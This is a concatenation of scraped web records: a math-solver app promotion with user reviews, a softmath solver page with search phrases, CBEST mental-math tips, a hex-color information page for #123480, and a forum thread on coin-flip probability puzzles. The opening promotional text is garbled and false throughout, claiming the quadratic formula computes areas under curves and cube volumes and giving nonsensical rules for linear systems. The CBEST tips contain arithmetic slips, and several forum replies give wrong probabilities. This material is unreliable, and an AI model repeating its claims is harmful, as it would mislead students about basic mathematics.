"Work out math problems is a software program that helps students solve math problems. Quadratic formula, or the quadratic equation y = ax^2 + bx + c, is one of the most important equations in algebra. It’s used to solve for two unknown values in a system of equations. In other words, it helps you find out where one number comes from another number. It’s also a very useful tool in math and science. The quadratic formula is especially important when solving problems that have a variable with a significant amount of value. One type of problem that often has a variable with a high value is the area under a curve. If you want to find the area underneath a graph that shows how many times something happened during a certain time period, then you can use the quadratic formula to get an accurate answer. Another example is finding the volume of a cube. If you want to find out how deep a box is, the quadratic formula can help you do that as well.\n\nYou can easily convert any problem into a simple equation by entering the problem into the calculator and pressing add +. This will immediately show you your solution in a simple equation form so that you can solve it easily. There are also several different fonts to choose from for easy readability as well as an undo button so you can try again if you make a mistake. The best part is that it’s free! You can download this app from the App Store or Google Play today and start solving those word problems right away!\n\nSolving is a process of finding the answer to a problem by logical reasoning. Solving problems involves many steps, but the first step is to identify the problem. Once you have identified the problem, you must figure out why it is happening. Once you know why a problem is happening, you can start to solve it. Solving problems may involve doing research, brainstorming ideas, or finding solutions through trial and error. Solving problems is an active process that requires both time and effort. However, with enough time and effort, you can solve almost any problem! Solving problems is part of everyday life; whether it's figuring out how to fix a broken appliance or solving math problems at school. Everyone deals with problems every day - from paying bills to making friends - so everyone can learn how to solve them eventually! It's never too late to start learning how to solve problems!\n\nHowever, it should also be noted that solving for x is not always straightforward and requires careful thinking and planning. Solving for x requires knowledge of the values of both x and y, as well as the rules and constraints under which they operate. A good rule of thumb is to start by looking at what you know and then trying to fit what you know into your solution. Solving for x should be considered a critical step in any problem-solving process.\n\nLinear systems are very common in practice, and often represent the key to solving many practical problems. The most basic form of a linear system is an equation that has only one variable. For example, the equation x + y = 5 represents the fact that the sum of two numbers must equal five. In this case, both x and y must be non-negative numbers. If there are multiple variables in the equation, then all of them must be non-negative or zero (for example, if x + 2y = 3, then x and 2y must be non-zero). If one or more of the variables are zero, then all of them must be non-zero to eliminate it from consideration. Otherwise, one or more variables can be eliminated by subtracting them from both sides of the equation and solving for those variables. When solving a linear system, it is important to remember that each variable contributes equally to the overall solution. This means that when you eliminate a variable from an equation, you should always solve both sides of the equation with the remaining variables to ensure that they are still non-negative and non-zero. For example, if you have x + 2y = 3 and find that x = 1 and y = 0, you would have solved 3x = 1 and 3y = 0. However, if those values were both negative, you could safely eliminate y from",
null,
"I love this app but I think a really awesome feature would be to have the option to take a picture of a list of numbers (no plus or minus signs) and have the app add the numbers up! I work in a bank and this would be amazing and it sounds like you have the tech now to implement. Is this something you could look at? I can't believe the app doesn't do this already as it seems like in can do so much more. Many Thanks\n\nIvana Hernandez",
null,
"Really good and accurate. I recommend it for sure. You can also learn really easily things you don't know/understand since it always shows an explanation. I give these 5 stars because it’s awesome no ads it needs internet but no ads guys this is highly recommend.\n\nUdelia Gray\n\nSolve Math-solver Helping Diamond problem solver online App that solves math problems College math problems with answers Free math answers app Solve by substitution method solver"
] | [
null,
"https://esef2018.com/PSY6320a40ff2880/author-profile.jpg",
null,
"https://esef2018.com/PSY6320a40ff2880/testimonial-one.jpg",
null,
"https://esef2018.com/PSY6320a40ff2880/testimonial-two.jpg",
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http://softmath.com/math-book-answers/sum-of-cubes/ordering-fractions-and.html | [
"English | Español\n\n# Try our Free Online Math Solver!",
null,
"Online Math Solver\n\n Depdendent Variable\n\n Number of equations to solve: 23456789\n Equ. #1:\n Equ. #2:\n\n Equ. #3:\n\n Equ. #4:\n\n Equ. #5:\n\n Equ. #6:\n\n Equ. #7:\n\n Equ. #8:\n\n Equ. #9:\n\n Solve for:\n\n Dependent Variable\n\n Number of inequalities to solve: 23456789\n Ineq. #1:\n Ineq. #2:\n\n Ineq. #3:\n\n Ineq. #4:\n\n Ineq. #5:\n\n Ineq. #6:\n\n Ineq. #7:\n\n Ineq. #8:\n\n Ineq. #9:\n\n Solve for:\n\n Please use this form if you would like to have this math solver on your website, free of charge. Name: Email: Your Website: Msg:\n\nWhat our customers say...\n\nThousands of users are using our software to conquer their algebra homework. Here are some of their experiences:\n\nI am a student at Texas State University. I bought your product Algebrator and I can honestly say it is the reason I am passing my math class!\nT.G., Florida\n\nIf you dont have the money to pay a home tutor then the Algebrator is what you need and believe me, it does all a tutor would do and probably even more.\nLee Wyatt, TX\n\nThanks for making my life a whole lot easier!\nMargaret Thomas, NY\n\nKeep up the good work Algebrator staff! Thanks!\nJori Kidd, KY\n\nIt was hard to go back to school as an adult, especially when I had to redo math courses because it had been two decades since graduation. I needed help badly and thankfully, your product delivered. I cant thank you enough.\nMika Lester, MI\n\nSearch phrases used on 2013-01-17:\n\nStudents struggling with all kinds of algebra problems find out that our software is a life-saver. Here are the search phrases that today's searchers used to find our site. Can you find yours among them?\n\n• lesson plans for saxon algebra 1\n• gaussian elimination calculator online\n• Show Steps in Algebra\n• university of phoenix algebra class\n• algebra for beginners\n• beginning algebra worksheets\n• factoring calculator with steps\n• algebra with pizzazz!\n• basic algebra for idiots\n• Free Algebra Word Problem Solve\n• algebra worksheets for 8th grade\n• algebra in easy steps\n• texas instruments T83\n• scientific calculator algerbra\n• clearing fractions in algebra\n• 0-495-63194-9\n• what is the difference between elementary algebra and algebra 1\n• free algebra for dummies mathematics\n• free math tutorials\n• algebric calculator inequalities\n• algbra explained\n• number sequence solver\n• differential equation calculator\n• prentice hall algebra 1 textbook\n• free algebra math solver\n• algebra 2 questions and answers\n• what is the easiest tecnique to answer math problems\n• principles of mathmatical analysis solution\n• do my math equations\n• free algebra worksheets for year 6\n• worksheets for algebra\n• 8th oxford math book\n• solving investment problems\n• examples of investment problems\n• real imaginary graph\n• step by step free math help\n• college algebra solver\n• algebra book 1 answers to 5.3 mcdougal littell\n• algebra with brackets\n• free math question solver\n• algebra dividing\n• How to Solve Improper\n• free math solver\n• absolute value activties\n• algebra exercises\n• college algebra problem solver\n• need help showing my work on a algebra problem\n• elementary algebra practice test\n• 8th grade math worksheets pre algebra\n• explain how the solution to the inequality 2x-5<25 differs from the solution to the equation 2x-5=25.\n• Intermediate algebra software\n• lving equations by multiplying and dividing\n• free math solving problems\n• solve my algebra problem\n• algebra explained\n• algebra pyramids\n• Solving square root problems\n• function independent and dependent\n• Skill Tutor\n• free medical software\n• factoring complex polynomials\n• math problems with rational expressions\n• math book with answers in it\n• free merrill algebra 2 with trigonometry answers\n• scientific calculator fraction\n• free math answers problem solver\n• algebra elimination method\n• unique rational\n• algebra expressions worksheets\n• free online interval notation calculator\n• Algebra Solve Graphing\n• interactive combining like terms"
] | [
null,
"http://softmath.com/images/video-pages/solver-top.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.86145866,"math_prob":0.89347357,"size":3866,"snap":"2020-24-2020-29","text_gpt3_token_len":896,"char_repetition_ratio":0.16131538,"word_repetition_ratio":0.0,"special_character_ratio":0.21107088,"punctuation_ratio":0.052892562,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99591887,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-06T01:41:05Z\",\"WARC-Record-ID\":\"<urn:uuid:fea52ced-6499-4b9b-8cfa-a5c1d240b756>\",\"Content-Length\":\"89149\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:384bb081-7446-4221-816d-c052ab1a54da>\",\"WARC-Concurrent-To\":\"<urn:uuid:09847f04-28a5-459f-a8c3-4ec015e166a3>\",\"WARC-IP-Address\":\"52.43.142.96\",\"WARC-Target-URI\":\"http://softmath.com/math-book-answers/sum-of-cubes/ordering-fractions-and.html\",\"WARC-Payload-Digest\":\"sha1:OSPX4WGSHYYXZ56VZMRY7VTS6JASLI2D\",\"WARC-Block-Digest\":\"sha1:YPJ2UNIPE5N2DYVU7QKRGR6UBXEVF3HK\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590348509264.96_warc_CC-MAIN-20200606000537-20200606030537-00324.warc.gz\"}"} |
http://www.stephencarr.com/mentalmath2.html | [
"",
null,
"CBEST Test Prep\n\n# CBEST Math Test Tips - Page two.\n\n### Mental Math Tips\n\nTry a problem like 56 + 47. It has to be less than 60 + 50 or 110. We also know from the preceding example it must be larger than 56 + 40 or 50 + 47 (96 or 97). We should have already concluded the answer will end in a 3 because 6 + 7 = 13. The only number between 97 and 110 that ends in a 3 is 103. The answer MUST be 103.\n\nThe same principle holds true for subtracting. Try 244 - 17. The answer lies between 244 - 10 = 234 and 244 - 20 = 224. We know it ends with a 7 because 14 - 7 = 7. (Remember how numbers relate?) Therefore, the only number between 224 and 234 that ends in a 1 is 231. The answer MUST be 231.\n\nPractice all of the above before going on.\n\nIf you were not convinced before, you now should agree that large calculations are quite simple. If you think logically.\n\nHow about much larger numbers? What about 756 - 234. Use the same principle. All that matters is 56 - 34 = 22. The answer will end with a 22. You should logically conclude that the first digit must be a 5 for an answer of 522.\n\nTry 846 - 59. We know that 16 - 9 = 7, so the answer will end in a 7. The answer will be slightly more than 846 - 60 = 786. Because we have subtracted 1 more than we should have, we need to add 1 to get the correct answer of 787.\n\nWe can now work on splitting numbers up to do even more difficult calculations. We'll start with 1,235 + 2,486. We know we have 1,000 + 2,000 or 3,000. We also have 200 + 400 or 600. So far we know the answer is a little more than 3600. See how easy that was? All we need to do is to see how much more. Well, we also have 80 + 30 or 110. Now we have an even closer answer of 3600 + 110 or 3710. Just add the 5 + 6 to get the last piece. 6+ 5 = 11. Add 10 + 11 to get 21. The answer to 1,235 + 2486 is 3710 + 11 or 3721. But we should have already had in out minds that the answer ends in a 1.\n\nLet's try a subtraction. Consider the problem 987 - 348. Isn't it the same as 900 - 300, then 87 - 48? We know the answer is 600 and something. We also know it ends with a 9 because 17 - 8 = 9. (Remember the part on relating small problems with large problems.) We should also recognize a boundary for 87 - 48. It will be close to 87 - 50, or 37. But I know it ends in a 9, so how about a guess of 39? I could also get 39 by realizing I have subtracted 2 more than I should have so I need to add 2 back. The answer to 987 - 348 must be 639. Notice how the 900 and the 300 became almost irrelevant to any calculations?\n\nHow about 924 - 786. Hmmmmmm. Slightly different because 24 is smaller than 86 and that involves a different thought process. But not really. I only need to think boundaries again. We should be able to rapidly do 924 - 800 in our heads to get 124. But I did not subtract enough away, so it must be a little more than 124. I also know the answer ends with an 8. (I'll let you remember why.) I should recognize some guesses. I know it ends with and 8 and is more than 124. I could guess 128 or 138 or...virtualluy anything that is given as a choice. Suppose the choices were:\na. 118\nb. 128\nc. 138\nd. 148\ne. 158\nI think you can now pick c as the logical choice.\n\nLet's try 924 - 786 using a different approach. I can look at intervals in the numbers given. I am looking for the interval between 924 and 786, right? Can you logically see it is equal to 24 + 100 + 14? The interval is 924 to 901, 900 to 801, 800 to 786.\n\nHow about 675 - 256. The interval (or answer) is 75 + 300 + 44. (675 to 601, 600 to 301, 300 to 256)\nSo, if you hate subtraction, change it to an addition problem!\n\nIt works for smaller calculations also. For example, 84 - 56. You should now recognize right off it is 4 + 20 + 4, or 28. Which leads to the following hint:\n\nDon't count numbers you don't have too! Think logically as to what the are.\nThink about the problem 107 - 100. Do I have to count out all 100 to subtract? No. I can do it in one block.\n\nThis is the same way we do 23 + 2. We do not count out 23 before we add the 2, do we? Of course not. We know it is 2 more than 23.\n\n## More CBEST Test Prep Resources\n\nCBEST Test Tips - Overall tips to take and pass the CBEST Test.\n\nCBEST Math Tips - Read our tips to pass the math section of the CBEST Test.\n\nEssay Writing Tips for the CBEST - Get our CBEST essay writing guide here."
] | [
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"http://stephencarr.com/images/teacher-apple.png",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9332929,"math_prob":0.952929,"size":4285,"snap":"2020-10-2020-16","text_gpt3_token_len":1278,"char_repetition_ratio":0.116795145,"word_repetition_ratio":0.0065288357,"special_character_ratio":0.35682613,"punctuation_ratio":0.12712713,"nsfw_num_words":1,"has_unicode_error":false,"math_prob_llama3":0.99507254,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-24T18:28:03Z\",\"WARC-Record-ID\":\"<urn:uuid:0fac510d-b6bc-430e-b4be-fc179c8e2939>\",\"Content-Length\":\"8892\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:dbd5d78a-508d-49d1-9012-0d7d10c8f8c3>\",\"WARC-Concurrent-To\":\"<urn:uuid:b6503c04-f8e3-4279-8c51-27fd35470e6b>\",\"WARC-IP-Address\":\"66.175.58.9\",\"WARC-Target-URI\":\"http://www.stephencarr.com/mentalmath2.html\",\"WARC-Payload-Digest\":\"sha1:GDYCKW4MCNRSIGKIKAJWWBNXIQGVMQHH\",\"WARC-Block-Digest\":\"sha1:6FU53QNFKAJVCMIE7WE6CHFTLMQ3RDRM\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875145966.48_warc_CC-MAIN-20200224163216-20200224193216-00489.warc.gz\"}"} |
https://www.colorhexa.com/123480 | [
"# #123480 Color Information\n\nIn a RGB color space, hex #123480 is composed of 7.1% red, 20.4% green and 50.2% blue. Whereas in a CMYK color space, it is composed of 85.9% cyan, 59.4% magenta, 0% yellow and 49.8% black. It has a hue angle of 221.5 degrees, a saturation of 75.3% and a lightness of 28.6%. #123480 color hex could be obtained by blending #2468ff with #000001. Closest websafe color is: #003399.\n\n• R 7\n• G 20\n• B 50\nRGB color chart\n• C 86\n• M 59\n• Y 0\n• K 50\nCMYK color chart\n\n#123480 color description : Dark blue.\n\n# #123480 Color Conversion\n\nThe hexadecimal color #123480 has RGB values of R:18, G:52, B:128 and CMYK values of C:0.86, M:0.59, Y:0, K:0.5. Its decimal value is 1193088.\n\nHex triplet RGB Decimal 123480 `#123480` 18, 52, 128 `rgb(18,52,128)` 7.1, 20.4, 50.2 `rgb(7.1%,20.4%,50.2%)` 86, 59, 0, 50 221.5°, 75.3, 28.6 `hsl(221.5,75.3%,28.6%)` 221.5°, 85.9, 50.2 003399 `#003399`\nCIE-LAB 24.138, 18.886, -46.236 5.373, 4.143, 20.937 0.176, 0.136, 4.143 24.138, 49.944, 292.219 24.138, -10.334, -57.188 20.354, 11.501, -46.743 00010010, 00110100, 10000000\n\n# Color Schemes with #123480\n\n• #123480\n``#123480` `rgb(18,52,128)``\n• #805e12\n``#805e12` `rgb(128,94,18)``\nComplementary Color\n• #126b80\n``#126b80` `rgb(18,107,128)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #271280\n``#271280` `rgb(39,18,128)``\nAnalogous Color\n• #6b8012\n``#6b8012` `rgb(107,128,18)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #802712\n``#802712` `rgb(128,39,18)``\nSplit Complementary Color\n• #348012\n``#348012` `rgb(52,128,18)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #801234\n``#801234` `rgb(128,18,52)``\n• #12805e\n``#12805e` `rgb(18,128,94)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #801234\n``#801234` `rgb(128,18,52)``\n• #805e12\n``#805e12` `rgb(128,94,18)``\n• #09193d\n``#09193d` `rgb(9,25,61)``\n• #0c2253\n``#0c2253` `rgb(12,34,83)``\n• #0f2b6a\n``#0f2b6a` `rgb(15,43,106)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #153d96\n``#153d96` `rgb(21,61,150)``\n``#1846ad` `rgb(24,70,173)``\n• #1b4fc3\n``#1b4fc3` `rgb(27,79,195)``\nMonochromatic Color\n\n# Alternatives to #123480\n\nBelow, you can see some colors close to #123480. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #125080\n``#125080` `rgb(18,80,128)``\n• #124680\n``#124680` `rgb(18,70,128)``\n• #123d80\n``#123d80` `rgb(18,61,128)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #122b80\n``#122b80` `rgb(18,43,128)``\n• #122280\n``#122280` `rgb(18,34,128)``\n• #121980\n``#121980` `rgb(18,25,128)``\nSimilar Colors\n\n# #123480 Preview\n\nThis text has a font color of #123480.\n\n``<span style=\"color:#123480;\">Text here</span>``\n#123480 background color\n\nThis paragraph has a background color of #123480.\n\n``<p style=\"background-color:#123480;\">Content here</p>``\n#123480 border color\n\nThis element has a border color of #123480.\n\n``<div style=\"border:1px solid #123480;\">Content here</div>``\nCSS codes\n``.text {color:#123480;}``\n``.background {background-color:#123480;}``\n``.border {border:1px solid #123480;}``\n\n# Shades and Tints of #123480\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #010308 is the darkest color, while #f5f8fe is the lightest one.\n\n• #010308\n``#010308` `rgb(1,3,8)``\n• #030a19\n``#030a19` `rgb(3,10,25)``\n• #06112a\n``#06112a` `rgb(6,17,42)``\n• #08183b\n``#08183b` `rgb(8,24,59)``\n• #0b1f4c\n``#0b1f4c` `rgb(11,31,76)``\n• #0d265e\n``#0d265e` `rgb(13,38,94)``\n• #102d6f\n``#102d6f` `rgb(16,45,111)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #143b91\n``#143b91` `rgb(20,59,145)``\n• #1742a2\n``#1742a2` `rgb(23,66,162)``\n• #1949b4\n``#1949b4` `rgb(25,73,180)``\n• #1c50c5\n``#1c50c5` `rgb(28,80,197)``\n• #1e57d6\n``#1e57d6` `rgb(30,87,214)``\n• #2760e1\n``#2760e1` `rgb(39,96,225)``\n• #386de3\n``#386de3` `rgb(56,109,227)``\n• #497ae5\n``#497ae5` `rgb(73,122,229)``\n• #5b86e8\n``#5b86e8` `rgb(91,134,232)``\n• #6c93ea\n``#6c93ea` `rgb(108,147,234)``\n• #7da0ed\n``#7da0ed` `rgb(125,160,237)``\n• #8eacef\n``#8eacef` `rgb(142,172,239)``\n• #9fb9f2\n``#9fb9f2` `rgb(159,185,242)``\n• #b1c5f4\n``#b1c5f4` `rgb(177,197,244)``\n• #c2d2f6\n``#c2d2f6` `rgb(194,210,246)``\n• #d3dff9\n``#d3dff9` `rgb(211,223,249)``\n• #e4ebfb\n``#e4ebfb` `rgb(228,235,251)``\n• #f5f8fe\n``#f5f8fe` `rgb(245,248,254)``\nTint Color Variation\n\n# Tones of #123480\n\nA tone is produced by adding gray to any pure hue. In this case, #45474d is the less saturated color, while #012e91 is the most saturated one.\n\n• #45474d\n``#45474d` `rgb(69,71,77)``\n• #3f4553\n``#3f4553` `rgb(63,69,83)``\n• #394359\n``#394359` `rgb(57,67,89)``\n• #34415e\n``#34415e` `rgb(52,65,94)``\n• #2e3f64\n``#2e3f64` `rgb(46,63,100)``\n• #283d6a\n``#283d6a` `rgb(40,61,106)``\n• #233a6f\n``#233a6f` `rgb(35,58,111)``\n• #1d3875\n``#1d3875` `rgb(29,56,117)``\n• #18367a\n``#18367a` `rgb(24,54,122)``\n• #123480\n``#123480` `rgb(18,52,128)``\n• #0c3286\n``#0c3286` `rgb(12,50,134)``\n• #07308b\n``#07308b` `rgb(7,48,139)``\n• #012e91\n``#012e91` `rgb(1,46,145)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #123480 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population"
] | [
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http://brainden.com/forum/topic/8717--/page/2/ | [
"BrainDen.com - Brain Teasers\n• 0",
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"## Question",
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"(Hope this hasn't been done before)\n\n1. There are 10 coins on a table. 9 are normal but 1 of them has 2 heads on it (i.e. will always land on heads). Without looking you pick one at random and flip it 8 times. It lands on heads each time. What is the probability of it landing on heads the next time?\n\nBonus question: (UNRELATED TO THE FIRST ONE) You flip a coin 20 times and it lands on tails each time. What is more likely for it to land on next, heads or tails?\n\n• Created\n\n## Recommended Posts\n\n• 0",
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"The odds that it is a fair coin causing the 8 heads is: 9/10 * (1/2)^8 = 1 in 284.444...\n\nThe odds that it is a double-headed coin is: 1/10 * 1 = 1 in 10\n\nIn other words, it is 28.444... times more likely that it is a double-headed coin. The combined odds results in a 3.515% chance of a 50/50 shot and a 96.485% chance of a guaranteed heads. The final odds are: 98.242% chance of heads.\n\n##### Share on other sites\n• 0",
null,
"For those of you who said both or 50/50: are you seriously telling me that if a coin lands on tails 20 times in a row with a probability of 1/1048576 that this coin is not fake or you are throwing it properly. Clearly you would have to be stupid to think that heads would be likely to come up again.\n\nSo the answer is tails is the most likely.\n\nIt was really a common sense problem more than a maths problem.",
null,
"Definitely innapropriate to suggest your readers are \"Clearly...stupid\". The nature of the first part of the teaser certainly suggests a more mathmatically tailored problem so it doesn't seem to be much of a stretch to me that we'd lean that way.\n\nHaving said that, I'll agree that I fell into the trap of assuming certain conditions about the 2nd problem without any evidence. I will agree that, in a different context, I would most definitely be suspicious of a coin that consistently came up heads (or tails) 10,15, 20 times in a row and would have to assume that the results of the next 'toss' would not be constrained by pure statistics.\n\nBUT, that, by no means, should imply that I or any of the other readers are stupid.\n\n##### Share on other sites\n• 0",
null,
"Definitely innapropriate to suggest your readers are \"Clearly...stupid\". The nature of the first part of the teaser certainly suggests a more mathmatically tailored problem so it doesn't seem to be much of a stretch to me that we'd lean that way.\n\nHaving said that, I'll agree that I fell into the trap of assuming certain conditions about the 2nd problem without any evidence. I will agree that, in a different context, I would most definitely be suspicious of a coin that consistently came up heads (or tails) 10,15, 20 times in a row and would have to assume that the results of the next 'toss' would not be constrained by pure statistics.\n\nBUT, that, by no means, should imply that I or any of the other readers are stupid.\n\nThat was just a phrase meant in a light hearted way. Like when someone says \"no one in there right mind...\" but they aren't implying that everyone who disagrees with them are clinically insane.",
null,
".\n\n##### Share on other sites\n• 0",
null,
"The odds that it is a fair coin causing the 8 heads is: 9/10 * (1/2)^8 = 1 in 284.444...\n\nThe odds that it is a double-headed coin is: 1/10 * 1 = 1 in 10\n\nIn other words, it is 28.444... times more likely that it is a double-headed coin. The combined odds results in a 3.515% chance of a 50/50 shot and a 96.485% chance of a guaranteed heads. The final odds are: 98.242% chance of heads.\n\nHaving reconsidered my prior position, response answered the question \"Given these 10 coins, one being double headed, what is the probability of picking one and tossing 9 heads in a row\" that would be %10.17.\n\nHowever, the question states, having picked one of the ten and having tossed 8 heads, what is the probability of another head.\n\nI think pieeater has nailed this one, on the head (sorry, had to)\n\nbut the answer is definitely not 55/45\n\n##### Share on other sites\n• 0",
null,
"9 coins, 1 trick coin = 11 heads, 9 tails.\n\nThere for probablility of getting a heads on the next flip is 11/20.\n\nFor the bonus, probability is always 1/2 no matter how many times you've flipped it\n\n##### Share on other sites\n• 0",
null,
"(Hope this hasn't been done before)\n\n1. There are 10 coins on a table. 9 are normal but 1 of them has 2 heads on it (i.e. will always land on heads). Without looking you pick one at random and flip it 8 times. It lands on heads each time. What is the probability of it landing on heads the next time?\n\nBonus question: (UNRELATED TO THE FIRST ONE) You flip a coin 20 times and it lands on tails each time. What is more likely for it to land on next, heads or tails?\n\nthee answer i think is: 101/180 ....for the first part\n\nand 1/2 for the second part...\n\n##### Share on other sites\n• 0",
null,
"How is it that people are under the assumption that the number of iterations will change the outcome? If we have not changed the initial conditions of the problem, then the chance of flipping a coin heads on the 1st or the Nth iteration remain constant. (you do not get decreasing odds from multiple iterations if you do not change the data set) If this was true, then for each iteration, you would say that your odds are constantly changing (55/45, 45/55. 35/65, etc... after each flip, which is not how statistics work)\n\n##### Share on other sites\n• 0",
null,
"This is the same reason that a single \"normal coin\" does not have decreasing odds. You would not say if you had 4 flips heads that your odds are 50/50, 25/75, 12.5/87.5, etc...\n\n##### Share on other sites\n• 0",
null,
"How is it that people are under the assumption that the number of iterations will change the outcome? If we have not changed the initial conditions of the problem, then the chance of flipping a coin heads on the 1st or the Nth iteration remain constant. (you do not get decreasing odds from multiple iterations if you do not change the data set) If this was true, then for each iteration, you would say that your odds are constantly changing (55/45, 45/55. 35/65, etc... after each flip, which is not how statistics work)\n\nYou might want to search for Monty Hall Problem on Google",
null,
".\n\nThe probability of initial conditions can change. Lets say you had a lottery ticket. You may think that the odds are fixed of you wining. But if you knew that your first 2 numbers were right then the chance that it is a winning ticket has now changed.\n\nEdited by psychic_mind\n##### Share on other sites\n• 0",
null,
"How is it that people are under the assumption that the number of iterations will change the outcome? If we have not changed the initial conditions of the problem, then the chance of flipping a coin heads on the 1st or the Nth iteration remain constant. (you do not get decreasing odds from multiple iterations if you do not change the data set) If this was true, then for each iteration, you would say that your odds are constantly changing (55/45, 45/55. 35/65, etc... after each flip, which is not how statistics work)\n\nBecause the exact coin being flipped does not change between flips. Your 55% chance is based on a new coin being chosen randomly each time. The fact is there is only one coin being flipped over and over. Once the original decision was made, that coin is the only one ever flipped again. That original pick was the only random action. Now we just needed to figure out the odds of the original coin pick being fair vs. being the double-headed coin. The eight flips of heads is an indicator of which of the ten coins was chosen originally. The likelihood that the original pick was the double-headed coin increases the more heads that get flipped in sequence. Does that answer your question?\n\n##### Share on other sites\n• 0",
null,
"This is the same reason that a single \"normal coin\" does not have decreasing odds. You would not say if you had 4 flips heads that your odds are 50/50, 25/75, 12.5/87.5, etc...\n\nThis is because with a normal coin, each consecutive flip is done with a normal coin. after 20 heads, nothing has changed, and the 21st flip is still a normal coin.\n\nhowever, once you throw a false coin into the mix, flipping 20 consecutive heads changes the condition of the 21st flip. it is now highly likely that you are holding the false coin, therefore diminishing the odds of a tails. you are right in that probability is calculated for each instance, but when new imformation is gained (ie. the higher probability of holding the fake) it factors in to the instance in question.\n\n##### Share on other sites\n• 0\nHow is it that people are under the assumption that the number of iterations will change the outcome? If we have not changed the initial conditions of the problem, then the chance of flipping a coin heads on the 1st or the Nth iteration remain constant. (you do not get decreasing odds from multiple iterations if you do not change the data set) If this was true, then for each iteration, you would say that your odds are constantly changing (55/45, 45/55. 35/65, etc... after each flip, which is not how statistics work)\n\nI think there is a fundamental difference in the thinking of the two camps here. The first camp assumes a priori that p, chance of a head, is fixed at 1/2. Consequently, regardless of the sequence of heads, the chance of the next toss is still 1/2.\n\npsychic_mind and others are taking the bayesian point of view, which is that p is unknown. They then estimate p given the data. In that approach, given the 20 heads, the probability of head is very near 0.\n\nGiven the original wording, I'd go with the second approach. Perhaps this is a rewording of the original problem that makes it clearer. Assume that psychic_mind approaches you and proposes a game. He'll take a coin out of his pocket and flip it. If you can correctly guess the coin's orientation, he gives you 1 dollar. If you're incorrect, you give him a dollar.\n\nYou figure head is equally likely as tail, so you guess tail 20 times. The coin come up head 20 times, and you're down 20 dollars. Would you guess tail on the 21 try?\n\n##### Share on other sites\n• 0",
null,
"...or for a more extreme example. What if I had flipped a coin 1000 times and they were all heads. Is the chance of a next head still 55/100 ?\n\n##### Share on other sites\n• 0",
null,
"I don't think anyone's gotten it yet, so...\n\nFirst we will figure out what the probability of having the 2-headed coin, GIVEN that we have flipped 8 heads in a row.\n\nP(A|B) = P(A and B)/P(B)\n\nWhere P(A|B) is the probability of A, GIVEN that B has already occurred. In English, the formula above states that the probability of event A, GIVEN that event B has already occurred, is the probability of the two events occurring together divided by the probability of event B occurring alone.\n\nP(We have the 2-headed coin | We flipped 8 heads in a row) = P(2-headed coin AND 8 heads in a row) / P(8 heads in a row)\n\nThe probability that we get the 2-headed coin AND flip 8 heads in a row = 1/10, since if we pick the 2-headed coin, we will always get heads.\n\nThe probability of 8 heads in a row = 1/10 + 9/10*1/256 (probability of getting the 2-headed coin plus the probability of getting a fair coin times the probability of getting 8 heads with a fair coin) = 256/2560 + 9/2560 = 265/2560 = 53/512\n\nThus, the probability that we have the 2-headed coin given that we flipped 8 heads in a row is (1/10)/(53/512) = 512/530 = 256/265\n\nAt this point, the probability that we have the 2-headed coin is 256/265. Thus, the probability that we have a fair coin is 9/265. The probability that our next flip is heads is now P(Heads with the 2-headed coin)*256/265 + P(Heads with fair coin)*9/265, which is\n\n1*256/265 + 1/2*9/265 = 512/530 + 9/530 = 521/530\n\nPart B: Given that it's a fair coin, neither one is more likely. That said, if it occurred to me that the coin might not be fair, I would guess tails.\n\nEdited by Chuck\n##### Share on other sites\n• 0",
null,
"How about this. If you flip just one time, and get heads, have you learned anything from the problem? You do not know for sure what type of coin you are holding still. The monty hall explanation only applies if you actually garner information from the results. Since a heads can be indicative of any of the ten coins on the table, you have not changed the problem. Maybe you should read further into the monty hall problem, as it has good explanations of why the odds do or do not change. Thanks.\n\n##### Share on other sites\n• 0",
null,
"Congratulations Chuck. I think you are the first to get it right",
null,
".\n\n##### Share on other sites\n• 0",
null,
"<(\"<) (>\")> <(\"<) (>\")>\n\n\\m/ (^.^) \\m/\n\nGo me!",
null,
"##### Share on other sites\n• 0\nHow about this. If you flip just one time, and get heads, have you learned anything from the problem? You do not know for sure what type of coin you are holding still. The monty hall explanation only applies if you actually garner information from the results. Since a heads can be indicative of any of the ten coins on the table, you have not changed the problem. Maybe you should read further into the monty hall problem, as it has good explanations of why the odds do or do not change. Thanks.\n\nLets restate the problem so we know where we're going. We have 10 coins, 9 of which are fair, and 1 is a 2-headed coin. You randomly pick a coin and toss it. It comes up head. You claim that you gained no information from the toss. Actually, you just gained some information, just that it isn't a lot of information.\n\nAfter you pick up the coin, but before the toss, you have no information whatsoever, so the probability that your coin is biased is 1/10. After one toss and the coin comes up head, the chance of it being a biased coin just increased a bit. Instead of giving calculations, let me present two examples.\n\nTo argue that you gain information from 1 toss, let's look at the opposite side. Assume that 